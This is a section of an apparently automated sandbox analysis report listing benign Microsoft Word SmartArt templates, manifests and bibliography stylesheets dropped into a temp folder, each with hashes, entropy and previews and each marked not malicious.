MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCDC0DC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC0DC.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCDC103.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC103.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCDC126.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC126.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCDC156.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC156.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCDC157.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC157.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCDC177.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC177.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCDC178.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC178.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDC17A.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCDC17A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC17B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC17B.tmp\RadialPictureList.glox

Download File

